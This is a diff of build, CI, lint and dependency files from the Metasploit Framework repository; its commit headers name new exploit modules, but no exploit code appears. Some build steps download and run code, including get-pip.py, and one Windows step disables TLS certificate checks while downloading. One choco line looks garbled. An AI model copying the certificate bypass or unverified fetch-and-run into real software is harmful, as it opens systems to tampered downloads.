Steffen Robertz 1b690283db Unauthenticated RCE for multiple Zyxel Router 2022-12-15 11:50:48 +01:00
RadioLogic a3c82246a7 Added archer c7 traversal exploit 2022-12-03 20:03:11 -05:00
RadioLogic 6d676e9ac5 Added vsftpd dos module 2022-11-26 16:00:01 -05:00
1388 changed files with 142193 additions and 9848 deletions
+223
View File
@@ -0,0 +1,223 @@
name: Acceptance
# Optional, enabling concurrency limits: https://docs.github.com/en/actions/using-jobs/using-concurrency
#concurrency:
# group: ${{ github.ref }}-${{ github.workflow }}
# cancel-in-progress: ${{ github.ref != 'refs/heads/main' }}
# https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#permissions
permissions:
actions: none
checks: none
contents: none
deployments: none
id-token: none
issues: none
discussions: none
packages: none
pages: none
pull-requests: none
repository-projects: none
security-events: none
statuses: none
on:
push:
branches-ignore:
- gh-pages
- metakitty
pull_request:
branches:
- '*'
paths:
- 'metsploit-framework.gemspec'
- 'Gemfile.lock'
- 'data/templates/**'
- 'modules/payloads/**'
- 'lib/msf/core/payload/**'
- 'lib/msf/core/**'
- 'tools/dev/**'
- 'spec/acceptance/**'
- 'spec/acceptance_spec_helper.rb'
# Example of running as a cron, to weed out flaky tests
# schedule:
# - cron: '*/15 * * * *'
jobs:
# Run all test individually, note there is a separate final job for aggregating the test results
test:
strategy:
fail-fast: false
matrix:
os:
- macos-11
- windows-2019
- ubuntu-20.04
ruby:
- 3.0.2
meterpreter:
# Python
- { name: python, runtime_version: 3.6 }
- { name: python, runtime_version: 3.11 }
# Java - newer versions of Java are not supported currently: https://github.com/rapid7/metasploit-payloads/issues/647
- { name: java, runtime_version: 8 }
# PHP
- { name: php, runtime_version: 5.3 }
- { name: php, runtime_version: 7.4 }
- { name: php, runtime_version: 8.2 }
include:
# Windows Meterpreter
- { meterpreter: { name: windows_meterpreter }, os: windows-2019 }
- { meterpreter: { name: windows_meterpreter }, os: windows-2022 }
# Mettle
- { meterpreter: { name: mettle }, os: macos-11 }
- { meterpreter: { name: mettle }, os: ubuntu-20.04 }
runs-on: ${{ matrix.os }}
timeout-minutes: 25
env:
RAILS_ENV: test
HOST_RUNNER_IMAGE: ${{ matrix.os }}
METERPRETER: ${{ matrix.meterpreter.name }}
METERPRETER_RUNTIME_VERSION: ${{ matrix.meterpreter.runtime_version }}
name: ${{ matrix.meterpreter.name }} ${{ matrix.meterpreter.runtime_version }} ${{ matrix.os }}
steps:
- name: Install system dependencies (Linux)
if: runner.os == 'Linux'
run: sudo apt-get -y --no-install-recommends install libpcap-dev graphviz
- uses: shivammathur/setup-php@5b29e8a45433c406b3902dff138a820a408c45b7
if: ${{ matrix.meterpreter.name == 'php' }}
with:
php-version: ${{ matrix.meterpreter.runtime_version }}
tools: none
- name: Set up Python
if: ${{ matrix.meterpreter.name == 'python' }}
uses: actions/setup-python@v4
with:
python-version: ${{ matrix.meterpreter.runtime_version }}
- uses: actions/setup-java@v3
if: ${{ matrix.meterpreter.name == 'java' }}
with:
distribution: temurin
java-version: ${{ matrix.meterpreter.runtime_version }}
- name: Install system dependencies (Windows)
shell: cmd
if: runner.os == 'Windows'
run: |
REM pcap dependencies
powershell -Command "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} ; [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object System.Net.WebClient).DownloadFile('https://www.winpcap.org/install/bin/WpdPack_4_1_2.zip', 'C:\Windows\Temp\WpdPack_4_1_2.zip')"
choco install 7zip.installServerCertificateValidationCallback
7z x "C:\Windows\Temp\WpdPack_4_1_2.zip" -o"C:\"
dir C:\\
dir %WINDIR%
type %WINDIR%\\system32\\drivers\\etc\\hosts
- name: Checkout code
uses: actions/checkout@v3
- name: Setup Ruby
env:
BUNDLE_WITHOUT: "coverage development"
BUNDLE_FORCE_RUBY_PLATFORM: true
uses: ruby/setup-ruby@v1
with:
ruby-version: ${{ matrix.ruby }}
bundler-cache: true
cache-version: 4
# Github actions with Ruby requires Bundler 2.2.18+
# https://github.com/ruby/setup-ruby/tree/d2b39ad0b52eca07d23f3aa14fdf2a3fcc1f411c#windows
bundler: 2.2.33
- name: acceptance
env:
SPEC_HELPER_LOAD_METASPLOIT: false
SPEC_OPTS: "--tag acceptance --require acceptance_spec_helper.rb --color --format documentation --format AllureRspec::RSpecFormatter"
# Unix run command:
# SPEC_HELPER_LOAD_METASPLOIT=false bundle exec ./spec/acceptance
# Windows cmd command:
# set SPEC_HELPER_LOAD_METASPLOIT=false
# bundle exec rspec .\spec\acceptance
# Note: rspec retry is intentionally not used, as it can cause issues with allure's reporting
# Additionally - flakey tests should be fixed or marked as flakey instead of silently retried
run: |
bundle exec rspec spec/acceptance/
- name: Archive results
if: always()
uses: actions/upload-artifact@v3
with:
# Provide a unique artifact for each matrix os, otherwise race conditions can lead to corrupt zips
name: raw-data-${{ matrix.meterpreter.name }}-${{ matrix.meterpreter.runtime_version }}-${{ matrix.os }}
path: tmp/allure-raw-data
# Generate a final report from the previous test results
report:
name: Generate report
needs: test
runs-on: ubuntu-latest
if: always()
steps:
- name: Checkout code
uses: actions/checkout@v3
if: always()
- name: Install system dependencies (Linux)
if: always()
run: sudo apt-get -y --no-install-recommends install libpcap-dev graphviz
- name: Setup Ruby
if: always()
env:
BUNDLE_WITHOUT: "coverage development"
BUNDLE_FORCE_RUBY_PLATFORM: true
uses: ruby/setup-ruby@v1
with:
ruby-version: 3.0.2
bundler-cache: true
cache-version: 4
# Github actions with Ruby requires Bundler 2.2.18+
# https://github.com/ruby/setup-ruby/tree/d2b39ad0b52eca07d23f3aa14fdf2a3fcc1f411c#windows
bundler: 2.2.33
- uses: actions/download-artifact@v3
id: download
if: always()
with:
# Note: Not specifying a name will download all artifacts from the previous workflow jobs
path: raw-data
- name: allure generate
if: always()
run: |
export VERSION=2.22.1
curl -o allure-$VERSION.tgz -Ls https://github.com/allure-framework/allure2/releases/download/$VERSION/allure-$VERSION.tgz
tar -zxvf allure-$VERSION.tgz -C .
ls -la ${{steps.download.outputs.download-path}}
./allure-$VERSION/bin/allure generate ${{steps.download.outputs.download-path}}/* -o ./allure-report
find ${{steps.download.outputs.download-path}}
bundle exec ruby tools/dev/report_generation/support_matrix/generate.rb --allure-data ${{steps.download.outputs.download-path}} > ./allure-report/support_matrix.html
- name: archive results
if: always()
uses: actions/upload-artifact@v3
with:
name: final-report-${{ github.run_id }}
path: |
./allure-report
+1 -1
View File
@@ -38,7 +38,7 @@ jobs:
fail-fast: true
matrix:
ruby:
- '2.7'
- '3.0'
name: Ruby ${{ matrix.ruby }}
steps:
+8
View File
@@ -191,6 +191,14 @@ jobs:
Closing this issue. If you believe this issue has been closed in error, please provide any relevant output and logs which may be useful in diagnosing the issue.
`
},
attic: {
close: true,
comment: `
Thanks for your contribution to Metasploit Framework! We've looked at this issue, and unfortunately we do not currently have the bandwidth to prioritize this issue.
We've labeled this as \`attic\` and closed it for now. If you believe this issue has been closed in error, or that it should be prioritized, please comment with additional information.
`
}
}
};
+1 -1
View File
@@ -35,7 +35,7 @@ jobs:
fail-fast: true
matrix:
ruby:
- '2.7'
- '3.0'
name: Lint msftidy
steps:
+4 -3
View File
@@ -64,15 +64,14 @@ jobs:
fail-fast: true
matrix:
ruby:
- '2.7'
- '3.0'
- '3.1'
- '3.2'
- '3.3.0-preview1'
os:
- ubuntu-20.04
- ubuntu-latest
exclude:
- { os: ubuntu-latest, ruby: '2.7' }
- { os: ubuntu-latest, ruby: '3.0' }
include:
- os: ubuntu-latest
@@ -91,7 +90,7 @@ jobs:
name: ${{ matrix.os }} - Ruby ${{ matrix.ruby }} - ${{ matrix.test_cmd }}
steps:
- name: Install system dependencies
run: sudo apt-get install libpcap-dev graphviz
run: sudo apt-get install -y --no-install-recommends libpcap-dev graphviz
- name: Checkout code
uses: actions/checkout@v3
@@ -99,6 +98,8 @@ jobs:
- name: Setup Ruby
env:
BUNDLE_WITHOUT: "coverage development pcap"
# Nokogiri doesn't release pre-compiled binaries for preview versions of Ruby; So force compilation with BUNDLE_FORCE_RUBY_PLATFORM
BUNDLE_FORCE_RUBY_PLATFORM: "${{ contains(matrix.ruby, 'preview') && 'true' || 'false' }}"
uses: ruby/setup-ruby@v1
with:
ruby-version: '${{ matrix.ruby }}'
+1 -1
View File
@@ -40,7 +40,7 @@ jobs:
const hasPR = await github.rest.pulls.list({
owner,
repo,
head: owner + ':' + '${{ github.ref_name }}'
head: owner + ':' + '${{ github.ref_name }}'
});
console.log('hasPR:');
console.log(JSON.stringify({ data: hasPR.data, status: hasPR.status }, null, 4));
+2
View File
@@ -19,6 +19,8 @@ Gemfile.local.lock
.yardoc
# Mac OS X files
.DS_Store
# Ignore Solargraph config file
.solargraph.yml
# database config for testing
config/database.yml
# target config file for testing
+21 -5
View File
@@ -22,6 +22,7 @@ require:
- ./lib/rubocop/cop/lint/module_disclosure_date_present.rb
- ./lib/rubocop/cop/lint/deprecated_gem_version.rb
- ./lib/rubocop/cop/lint/module_enforce_notes.rb
- ./lib/rubocop/cop/lint/detect_invalid_pack_directives.rb
Layout/SpaceBeforeBrackets:
Description: >-
@@ -79,6 +80,17 @@ Lint/UnexpectedBlockArity:
Lint/UnmodifiedReduceAccumulator:
Enabled: true
Lint/UnusedMethodArgument:
Description: >-
Disabled on files under the lib/ directory (aka library files)
as this can break YARD documentation since YARD doesn't recognize
the _ prefix before parameter names and thinks its a different argument.
See https://github.com/rapid7/metasploit-framework/pull/17735
Also see https://github.com/rubocop/rubocop/pull/11020
Enabled: true
Exclude:
- 'lib/**/*'
Style/ArgumentsForwarding:
Enabled: true
@@ -155,6 +167,9 @@ Layout/ModuleHashValuesOnSameLine:
Layout/ModuleDescriptionIndentation:
Enabled: true
Lint/DetectInvalidPackDirectives:
Enabled: true
Lint/ModuleDisclosureDateFormat:
Enabled: true
@@ -175,12 +190,13 @@ Lint/DeprecatedGemVersion:
Exclude:
- 'metasploit-framework.gemspec'
Metrics/ClassLength:
Metrics/ModuleLength:
Description: 'Most Metasploit modules are quite large. This is ok.'
Enabled: true
Exclude:
- 'modules/**/*'
- 'test/modules/**/*'
Enabled: false
Metrics/ClassLength:
Description: 'Most Metasploit classes are quite large. This is ok.'
Enabled: false
Style/ClassAndModuleChildren:
Enabled: false
+28
View File
@@ -0,0 +1,28 @@
---
include:
- "**/*.rb"
exclude:
- spec/**/*
- test/**/*
- vendor/**/*
- ".bundle/**/*"
- modules/**/*
- data/**/*
- db/**/*
- external/**/*
- plugins/**/*
- scripts/**/* # Some of this is old and may not need indexing???
require: []
domains: []
reporters:
- rubocop
- require_not_found
formatter:
rubocop:
cops: safe
except: []
only: []
extra_args: []
require_paths: []
plugins: []
max_files: 0
+6 -6
View File
@@ -43,9 +43,9 @@ RUN apk add --no-cache \
ENV GO111MODULE=off
RUN mkdir -p $TOOLS_HOME/bin && \
cd $TOOLS_HOME/bin && \
curl -O https://dl.google.com/go/go1.19.3.src.tar.gz && \
tar -zxf go1.19.3.src.tar.gz && \
rm go1.19.3.src.tar.gz && \
curl -O https://dl.google.com/go/go1.21.1.src.tar.gz && \
tar -zxf go1.21.1.src.tar.gz && \
rm go1.21.1.src.tar.gz && \
cd go/src && \
./make.bash
@@ -61,8 +61,8 @@ ENV METASPLOIT_GROUP=metasploit
RUN addgroup -S $METASPLOIT_GROUP
RUN apk add --no-cache bash sqlite-libs nmap nmap-scripts nmap-nselibs \
postgresql-libs python2 python3 py3-pip ncurses libcap su-exec alpine-sdk \
python2-dev openssl-dev nasm mingw-w64-gcc
postgresql-libs python3 py3-pip ncurses libcap su-exec alpine-sdk \
openssl-dev nasm mingw-w64-gcc
RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which ruby)
RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which nmap)
@@ -75,7 +75,7 @@ RUN chown -R root:metasploit $APP_HOME/
RUN chmod 664 $APP_HOME/Gemfile.lock
RUN gem update --system
RUN cp -f $APP_HOME/docker/database.yml $APP_HOME/config/database.yml
RUN curl -L -O https://github.com/pypa/get-pip/raw/3843bff3a0a61da5b63ea0b7d34794c5c51a2f11/get-pip.py && python get-pip.py && rm get-pip.py
RUN curl -L -O https://raw.githubusercontent.com/pypa/get-pip/f84b65709d4b20221b7dbee900dbf9985a81b5d4/public/get-pip.py && python3 get-pip.py && rm get-pip.py
RUN pip install impacket
RUN pip install requests
+8 -4
View File
@@ -31,20 +31,24 @@ group :development do
end
group :development, :test do
# automatically include factories from spec/factories
gem 'factory_bot_rails'
# Make rspec output shorter and more useful
gem 'fivemat'
# running documentation generation tasks and rspec tasks
gem 'rake'
# Define `rake spec`. Must be in development AND test so that its available by default as a rake test when the
# environment is development
gem 'rspec-rails'
gem 'rspec-rerun'
# Required during CI as well local development
gem 'rubocop'
end
group :test do
# automatically include factories from spec/factories
gem 'test-prof'
gem 'factory_bot_rails'
# Make rspec output shorter and more useful
gem 'fivemat'
# rspec formatter for acceptance tests
gem 'allure-rspec'
# Manipulate Time.now in specs
gem 'timecop'
end
+180 -135
View File
@@ -1,15 +1,18 @@
PATH
remote: .
specs:
metasploit-framework (6.3.8)
actionpack (~> 7.0)
activerecord (~> 7.0)
activesupport (~> 7.0)
metasploit-framework (6.3.38)
actionpack (~> 7.0.0)
activerecord (~> 7.0.0)
activesupport (~> 7.0.0)
aws-sdk-ec2
aws-sdk-ec2instanceconnect
aws-sdk-iam
aws-sdk-s3
aws-sdk-ssm
bcrypt
bcrypt_pbkdf
bootsnap
bson
chunky_png
dnsruby
@@ -23,25 +26,26 @@ PATH
filesize
hrr_rb_ssh-ed25519
http-cookie
irb
irb (~> 1.7.4)
jsobfu
json
metasm
metasploit-concern
metasploit-credential
metasploit-model
metasploit-payloads (= 2.0.122)
metasploit-payloads (= 2.0.156)
metasploit_data_models
metasploit_payloads-mettle (= 1.0.20)
metasploit_payloads-mettle (= 1.0.26)
mqtt
msgpack
msgpack (~> 1.6.0)
nessus_rest
net-imap
net-ldap
net-smtp
net-ssh
network_interface
nexpose
nokogiri
nokogiri (~> 1.14.0)
octokit (~> 4.0)
openssl-ccm
openvas-omp
@@ -75,6 +79,7 @@ PATH
rex-text
rex-zip
ruby-macho
ruby-mysql
ruby_smb (~> 3.2.0)
rubyntlm
rubyzip
@@ -98,60 +103,77 @@ GEM
remote: https://rubygems.org/
specs:
Ascii85 (1.1.0)
actionpack (7.0.4.2)
actionview (= 7.0.4.2)
activesupport (= 7.0.4.2)
rack (~> 2.0, >= 2.2.0)
actionpack (7.0.8)
actionview (= 7.0.8)
activesupport (= 7.0.8)
rack (~> 2.0, >= 2.2.4)
rack-test (>= 0.6.3)
rails-dom-testing (~> 2.0)
rails-html-sanitizer (~> 1.0, >= 1.2.0)
actionview (7.0.4.2)
activesupport (= 7.0.4.2)
actionview (7.0.8)
activesupport (= 7.0.8)
builder (~> 3.1)
erubi (~> 1.4)
rails-dom-testing (~> 2.0)
rails-html-sanitizer (~> 1.1, >= 1.2.0)
activemodel (7.0.4.2)
activesupport (= 7.0.4.2)
activerecord (7.0.4.2)
activemodel (= 7.0.4.2)
activesupport (= 7.0.4.2)
activesupport (7.0.4.2)
activemodel (7.0.8)
activesupport (= 7.0.8)
activerecord (7.0.8)
activemodel (= 7.0.8)
activesupport (= 7.0.8)
activesupport (7.0.8)
concurrent-ruby (~> 1.0, >= 1.0.2)
i18n (>= 1.6, < 2)
minitest (>= 5.1)
tzinfo (~> 2.0)
addressable (2.8.1)
addressable (2.8.5)
public_suffix (>= 2.0.2, < 6.0)
afm (0.2.2)
allure-rspec (2.23.0)
allure-ruby-commons (= 2.23.0)
rspec-core (>= 3.8, < 4)
allure-ruby-commons (2.23.0)
mime-types (>= 3.3, < 4)
require_all (>= 2, < 4)
rspec-expectations (~> 3.12)
uuid (>= 2.3, < 3)
arel-helpers (2.14.0)
activerecord (>= 3.1.0, < 8)
ast (2.4.2)
aws-eventstream (1.2.0)
aws-partitions (1.722.0)
aws-sdk-core (3.170.0)
aws-partitions (1.834.0)
aws-sdk-core (3.185.1)
aws-eventstream (~> 1, >= 1.0.2)
aws-partitions (~> 1, >= 1.651.0)
aws-sigv4 (~> 1.5)
jmespath (~> 1, >= 1.6.1)
aws-sdk-ec2 (1.368.0)
aws-sdk-core (~> 3, >= 3.165.0)
aws-sdk-ec2 (1.411.0)
aws-sdk-core (~> 3, >= 3.184.0)
aws-sigv4 (~> 1.1)
aws-sdk-iam (1.75.0)
aws-sdk-core (~> 3, >= 3.165.0)
aws-sdk-ec2instanceconnect (1.34.0)
aws-sdk-core (~> 3, >= 3.184.0)
aws-sigv4 (~> 1.1)
aws-sdk-kms (1.63.0)
aws-sdk-core (~> 3, >= 3.165.0)
aws-sdk-iam (1.87.0)
aws-sdk-core (~> 3, >= 3.184.0)
aws-sigv4 (~> 1.1)
aws-sdk-s3 (1.119.1)
aws-sdk-core (~> 3, >= 3.165.0)
aws-sdk-kms (1.72.0)
aws-sdk-core (~> 3, >= 3.184.0)
aws-sigv4 (~> 1.1)
aws-sdk-s3 (1.136.0)
aws-sdk-core (~> 3, >= 3.181.0)
aws-sdk-kms (~> 1)
aws-sigv4 (~> 1.4)
aws-sigv4 (1.5.2)
aws-sigv4 (~> 1.6)
aws-sdk-ssm (1.158.0)
aws-sdk-core (~> 3, >= 3.184.0)
aws-sigv4 (~> 1.1)
aws-sigv4 (1.6.0)
aws-eventstream (~> 1, >= 1.0.2)
bcrypt (3.1.18)
base64 (0.1.1)
bcrypt (3.1.19)
bcrypt_pbkdf (1.1.0)
bindata (2.4.15)
bootsnap (1.16.0)
msgpack (~> 1.2)
bson (4.15.0)
builder (3.2.4)
byebug (11.1.3)
@@ -161,12 +183,13 @@ GEM
cookiejar (0.3.3)
crass (1.0.6)
daemons (1.4.1)
debug (1.7.1)
date (3.3.3)
debug (1.8.0)
irb (>= 1.5.0)
reline (>= 0.3.1)
diff-lcs (1.5.0)
dnsruby (1.61.9)
simpleidn (~> 0.1)
dnsruby (1.70.0)
simpleidn (~> 0.2.1)
docile (1.4.0)
domain_name (0.5.20190701)
unf (>= 0.0.5, < 1.0.0)
@@ -186,18 +209,19 @@ GEM
factory_bot_rails (6.2.0)
factory_bot (~> 6.2.0)
railties (>= 5.0.0)
faker (3.1.1)
faker (3.2.1)
i18n (>= 1.8.11, < 2)
faraday (2.7.4)
faraday (2.7.11)
base64
faraday-net_http (>= 2.0, < 3.1)
ruby2_keywords (>= 0.0.4)
faraday-net_http (3.0.2)
faraday-retry (2.1.0)
faraday-retry (2.2.0)
faraday (~> 2.0)
faye-websocket (0.11.1)
faye-websocket (0.11.3)
eventmachine (>= 0.12.0)
websocket-driver (>= 0.5.1)
ffi (1.15.5)
ffi (1.16.3)
filesize (0.2.0)
fivemat (1.3.7)
gssapi (1.3.1)
@@ -214,30 +238,33 @@ GEM
domain_name (~> 0.5)
http_parser.rb (0.8.0)
httpclient (2.8.3)
i18n (1.12.0)
i18n (1.14.1)
concurrent-ruby (~> 1.0)
io-console (0.6.0)
irb (1.6.3)
reline (>= 0.3.0)
irb (1.7.4)
reline (>= 0.3.6)
jmespath (1.6.2)
jsobfu (0.4.2)
rkelly-remix
json (2.6.3)
language_server-protocol (3.17.0.3)
little-plugger (1.1.4)
logging (2.3.1)
little-plugger (~> 1.1)
multi_json (~> 1.14)
loofah (2.19.1)
loofah (2.21.3)
crass (~> 1.0.2)
nokogiri (>= 1.5.9)
nokogiri (>= 1.12.0)
macaddr (1.7.2)
systemu (~> 2.6.5)
memory_profiler (1.0.1)
metasm (1.0.5)
metasploit-concern (5.0.1)
metasploit-concern (5.0.2)
activemodel (~> 7.0)
activesupport (~> 7.0)
railties (~> 7.0)
zeitwerk
metasploit-credential (6.0.2)
metasploit-credential (6.0.6)
metasploit-concern
metasploit-model
metasploit_data_models (>= 5.0.0)
@@ -247,12 +274,12 @@ GEM
rex-socket
rubyntlm
rubyzip
metasploit-model (5.0.1)
metasploit-model (5.0.2)
activemodel (~> 7.0)
activesupport (~> 7.0)
railties (~> 7.0)
metasploit-payloads (2.0.122)
metasploit_data_models (6.0.2)
metasploit-payloads (2.0.156)
metasploit_data_models (6.0.3)
activerecord (~> 7.0)
activesupport (~> 7.0)
arel-helpers
@@ -262,26 +289,32 @@ GEM
railties (~> 7.0)
recog
webrick
metasploit_payloads-mettle (1.0.20)
metasploit_payloads-mettle (1.0.26)
method_source (1.0.0)
mini_portile2 (2.8.1)
minitest (5.18.0)
mime-types (3.5.1)
mime-types-data (~> 3.2015)
mime-types-data (3.2023.1003)
mini_portile2 (2.8.4)
minitest (5.20.0)
mqtt (0.6.0)
msgpack (1.6.1)
multi_json (1.15.0)
mustermann (3.0.0)
ruby2_keywords (~> 0.0.1)
nessus_rest (0.1.6)
net-ldap (0.17.1)
net-imap (0.4.0)
date
net-protocol
net-ldap (0.18.0)
net-protocol (0.2.1)
timeout
net-smtp (0.3.3)
net-smtp (0.4.0)
net-protocol
net-ssh (7.0.1)
network_interface (0.0.2)
net-ssh (7.2.0)
network_interface (0.0.4)
nexpose (7.3.0)
nio4r (2.5.8)
nokogiri (1.14.2)
nio4r (2.5.9)
nokogiri (1.14.5)
mini_portile2 (~> 2.8.0)
racc (~> 1.4)
nori (2.6.0)
@@ -291,11 +324,12 @@ GEM
openssl-ccm (1.2.3)
openssl-cmac (2.0.2)
openvas-omp (0.0.4)
packetfu (1.1.13)
pcaprub
parallel (1.22.1)
parser (3.2.1.1)
packetfu (2.0.0)
pcaprub (~> 0.13.1)
parallel (1.23.0)
parser (3.2.2.4)
ast (~> 2.4.1)
racc
patch_finder (1.0.2)
pcaprub (0.13.1)
pdf-reader (2.11.0)
@@ -304,30 +338,32 @@ GEM
hashery (~> 2.0)
ruby-rc4
ttfunk
pg (1.4.6)
pg (1.5.4)
pry (0.14.2)
coderay (~> 1.1)
method_source (~> 1.0)
pry-byebug (3.10.1)
byebug (~> 11.0)
pry (>= 0.13, < 0.15)
public_suffix (5.0.1)
puma (6.1.1)
public_suffix (5.0.3)
puma (6.4.0)
nio4r (~> 2.0)
racc (1.6.2)
rack (2.2.6.3)
rack-protection (3.0.5)
rack
rack-test (2.0.2)
racc (1.7.1)
rack (2.2.8)
rack-protection (3.1.0)
rack (~> 2.2, >= 2.2.4)
rack-test (2.1.0)
rack (>= 1.3)
rails-dom-testing (2.0.3)
activesupport (>= 4.2.0)
rails-dom-testing (2.2.0)
activesupport (>= 5.0.0)
minitest
nokogiri (>= 1.6)
rails-html-sanitizer (1.5.0)
loofah (~> 2.19, >= 2.19.1)
railties (7.0.4.2)
actionpack (= 7.0.4.2)
activesupport (= 7.0.4.2)
rails-html-sanitizer (1.6.0)
loofah (~> 2.21)
nokogiri (~> 1.14)
railties (7.0.8)
actionpack (= 7.0.8)
activesupport (= 7.0.8)
method_source
rake (>= 12.2)
thor (~> 1.0)
@@ -337,98 +373,102 @@ GEM
rasn1 (0.12.1)
strptime (~> 0.2.5)
rb-readline (0.5.5)
recog (3.0.3)
recog (3.1.2)
nokogiri
redcarpet (3.6.0)
regexp_parser (2.7.0)
reline (0.3.2)
regexp_parser (2.8.1)
reline (0.3.8)
io-console (~> 0.5)
rex-arch (0.1.14)
require_all (3.0.0)
rex-arch (0.1.15)
rex-text
rex-bin_tools (0.1.8)
rex-bin_tools (0.1.9)
metasm
rex-arch
rex-core
rex-struct2
rex-text
rex-core (0.1.30)
rex-encoder (0.1.6)
rex-core (0.1.31)
rex-encoder (0.1.7)
metasm
rex-arch
rex-text
rex-exploitation (0.1.38)
rex-exploitation (0.1.39)
jsobfu
metasm
rex-arch
rex-encoder
rex-text
rexml
rex-java (0.1.6)
rex-mime (0.1.7)
rex-java (0.1.7)
rex-mime (0.1.8)
rex-text
rex-nop (0.1.2)
rex-nop (0.1.3)
rex-arch
rex-ole (0.1.7)
rex-ole (0.1.8)
rex-text
rex-powershell (0.1.97)
rex-powershell (0.1.99)
rex-random_identifier
rex-text
ruby-rc4
rex-random_identifier (0.1.10)
rex-random_identifier (0.1.11)
rex-text
rex-registry (0.1.4)
rex-rop_builder (0.1.4)
rex-registry (0.1.5)
rex-rop_builder (0.1.5)
metasm
rex-core
rex-text
rex-socket (0.1.47)
rex-socket (0.1.54)
rex-core
rex-sslscan (0.1.9)
rex-sslscan (0.1.10)
rex-core
rex-socket
rex-text
rex-struct2 (0.1.3)
rex-text (0.2.50)
rex-zip (0.1.4)
rex-struct2 (0.1.4)
rex-text (0.2.53)
rex-zip (0.1.5)
rex-text
rexml (3.2.5)
rexml (3.2.6)
rkelly-remix (0.0.7)
rspec (3.12.0)
rspec-core (~> 3.12.0)
rspec-expectations (~> 3.12.0)
rspec-mocks (~> 3.12.0)
rspec-core (3.12.1)
rspec-core (3.12.2)
rspec-support (~> 3.12.0)
rspec-expectations (3.12.2)
rspec-expectations (3.12.3)
diff-lcs (>= 1.2.0, < 2.0)
rspec-support (~> 3.12.0)
rspec-mocks (3.12.3)
rspec-mocks (3.12.6)
diff-lcs (>= 1.2.0, < 2.0)
rspec-support (~> 3.12.0)
rspec-rails (6.0.1)
rspec-rails (6.0.3)
actionpack (>= 6.1)
activesupport (>= 6.1)
railties (>= 6.1)
rspec-core (~> 3.11)
rspec-expectations (~> 3.11)
rspec-mocks (~> 3.11)
rspec-support (~> 3.11)
rspec-core (~> 3.12)
rspec-expectations (~> 3.12)
rspec-mocks (~> 3.12)
rspec-support (~> 3.12)
rspec-rerun (1.1.0)
rspec (~> 3.0)
rspec-support (3.12.0)
rubocop (1.48.0)
rspec-support (3.12.1)
rubocop (1.56.4)
base64 (~> 0.1.1)
json (~> 2.3)
language_server-protocol (>= 3.17.0)
parallel (~> 1.10)
parser (>= 3.2.0.0)
parser (>= 3.2.2.3)
rainbow (>= 2.2.2, < 4.0)
regexp_parser (>= 1.8, < 3.0)
rexml (>= 3.2.5, < 4.0)
rubocop-ast (>= 1.26.0, < 2.0)
rubocop-ast (>= 1.28.1, < 2.0)
ruby-progressbar (~> 1.7)
unicode-display_width (>= 2.4.0, < 3.0)
rubocop-ast (1.27.0)
rubocop-ast (1.29.0)
parser (>= 3.2.1.0)
ruby-macho (3.0.0)
ruby-macho (4.0.0)
ruby-mysql (4.1.0)
ruby-prof (1.4.2)
ruby-progressbar (1.13.0)
ruby-rc4 (0.1.5)
@@ -450,38 +490,42 @@ GEM
simplecov-html (0.12.3)
simpleidn (0.2.1)
unf (~> 0.1.4)
sinatra (3.0.5)
sinatra (3.1.0)
mustermann (~> 3.0)
rack (~> 2.2, >= 2.2.4)
rack-protection (= 3.0.5)
rack-protection (= 3.1.0)
tilt (~> 2.0)
sqlite3 (1.6.1)
sqlite3 (1.6.6)
mini_portile2 (~> 2.8.0)
sshkey (2.0.0)
sshkey (3.0.0)
strptime (0.2.5)
swagger-blocks (3.0.0)
thin (1.8.1)
systemu (2.6.5)
test-prof (1.2.3)
thin (1.8.2)
daemons (~> 1.0, >= 1.0.9)
eventmachine (~> 1.0, >= 1.0.4)
rack (>= 1, < 3)
thor (1.2.1)
tilt (2.1.0)
timecop (0.9.6)
timeout (0.3.2)
thor (1.2.2)
tilt (2.3.0)
timecop (0.9.8)
timeout (0.4.0)
ttfunk (1.7.0)
tzinfo (2.0.6)
concurrent-ruby (~> 1.0)
tzinfo-data (1.2022.7)
tzinfo-data (1.2023.3)
tzinfo (>= 1.0.0)
unf (0.1.4)
unf_ext
unf_ext (0.0.8.2)
unicode-display_width (2.4.2)
unix-crypt (1.3.0)
unicode-display_width (2.5.0)
unix-crypt (1.3.1)
uuid (2.3.9)
macaddr (~> 1.0)
warden (1.2.9)
rack (>= 2.0.9)
webrick (1.7.0)
websocket-driver (0.7.5)
webrick (1.8.1)
websocket-driver (0.7.6)
websocket-extensions (>= 0.1.0)
websocket-extensions (0.1.5)
win32api (0.1.0)
@@ -498,16 +542,16 @@ GEM
xdr (3.0.3)
activemodel (>= 4.2, < 8.0)
activesupport (>= 4.2, < 8.0)
xmlrpc (0.3.2)
xmlrpc (0.3.3)
webrick
yard (0.9.28)
webrick (~> 1.7.0)
zeitwerk (2.6.7)
yard (0.9.34)
zeitwerk (2.6.12)
PLATFORMS
ruby
DEPENDENCIES
allure-rspec
debug (>= 1.0.0)
factory_bot_rails
fivemat
@@ -522,6 +566,7 @@ DEPENDENCIES
rubocop
ruby-prof (= 1.4.2)
simplecov (= 0.18.2)
test-prof
timecop
yard
+21 -4
View File
@@ -21,6 +21,11 @@ Copyright: 2007 Roland Bouman
License: LGPL-2.1
Purpose: These files are used in exploits/multi/mysql/mysql_udf_payload.rb
Files: data/exploits/cve-2023-34634/test.png
Copyright: 2023 Brendan Watters
License: MIT
Purpose: These image is used as the default file to embed the exploit command.
Files: data/headers/windows/c_payload_util/beacon.h
Copyright: 2022, Copyright Help/Systems LLC and its group of companies.
License: Apache 2.0
@@ -44,6 +49,11 @@ Files: data/webcam/api.js
Copyright: Copyright 2013 Muaz Khan<@muazkh>.
License: MIT
Files: data/wordlists/flask_secret_keys.txt
Source: https://github.com/Paradoxis/Flask-Unsign-Wordlist/blob/v2023.34/flask_unsign_wordlist/wordlists/github.txt
Copyright: Copyright (c) 2023 Luke Paris (Paradoxis)
License: MIT
Files: external/source/byakugan/*
Copyright: Lurene Grenier, 2009
License: BSD-3-clause
@@ -75,6 +85,13 @@ Files: exteneral/source/exploits/CVE-2022-26904/*
Copyright: 2022 Abdelhamid Naceri
License: MIT
Files: external/source/exploits/CVE-2023-36874/*
Copyright: 2023 Octoberfest7
License: MIT
Purpose: Library and error report file are required for calculating offsets to the correct
function calls to implement the exploit. The heavily modified C main is necessary
to create and trigger the exploit.
